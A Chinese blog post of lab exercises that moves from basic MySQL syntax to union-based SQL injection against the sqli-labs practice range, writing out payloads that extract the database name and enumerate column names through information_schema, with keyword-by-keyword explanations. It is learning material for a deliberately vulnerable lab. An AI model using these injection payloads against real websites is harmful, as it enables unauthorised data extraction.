sql注入联合注入及mysql语法练习

1、创建以自己姓名缩写命名的数据库和表,字段要求有name,id,填写相关数据

#创建数据库
create database database_jay;
#使用数据库
use database_jay;
#创建表
create table table_jay(
    id int(10) not null auto_increment primary key,
    name varchar(20)
);
#插入数据
insert into table_jay(id,name) values (1,'zhangsan');
insert into table_jay(id,name) values (2,'lisi');
insert into table_jay(id,name) values (3,'wangwu');

查询自己的所有信息,配合union同时输出1,2在个人信息下面

select * from table_jay union select 1,2;

在information_schema数据库里查找自己新建的数据库的结构

#使用use information_schema数据库
use information_schema;
#从 MySQL 的系统数据库 information_schema 中的 schemata表中检索出名为 database_jay的数据库的详细信息
select * from information_schema.schemata where schema_name = 'database_jay';

安装sqlilab靶场,使用第一关联合查询查询靶场数据库的名字

/?id=-1' UNION SELECT NULL, database(), NULL UNION SELECT NULL, NULL, NULL --+

使用联合查询查询自己数据库的某些信息

?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='database_jay' AND table_name='table_jay'--+

查询靶场users表任意字段的内容,要求解释查询语句每个关键字的作用,例如为什么要id=111,为什么要加上and1=2,演示截图说明group_concat的作用

?id=111' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--+

id=111: 这个部分是 URL 参数中的值。我们将在这里注入我们的 SQL 查询。这里的值 111 可以是任意值,因为我们不会使用它。

UNION SELECT 1, group_concat(column_name), 3: 这是一个联合查询。我们正在查询 information_schema.columns 表来获取 users 表的列名。我们使用 group_concat(column_name) 函数将列名连接成一个字符串。

FROM information_schema.columns WHERE table_name='users': 这个条件用于指定我们要检索列名的表。我们指定了表名为 'users',这意味着我们将只检索 users 表的列名。

--+: 这是一个注释,用于注释掉原始查询后面的任何内容,以确保我们的注入不会被截断。


使用sqlilab靶场第三关查到当前数据库名字,说明如何闭合的

/?id=1221') union select 1,database(),version() --+

这里看源码
发现id=('$id') 
多个括号,所以需要将括号也闭合

posted @ 2024-02-28 20:58  谔斯猫  阅读(71)  评论(0编辑  收藏  举报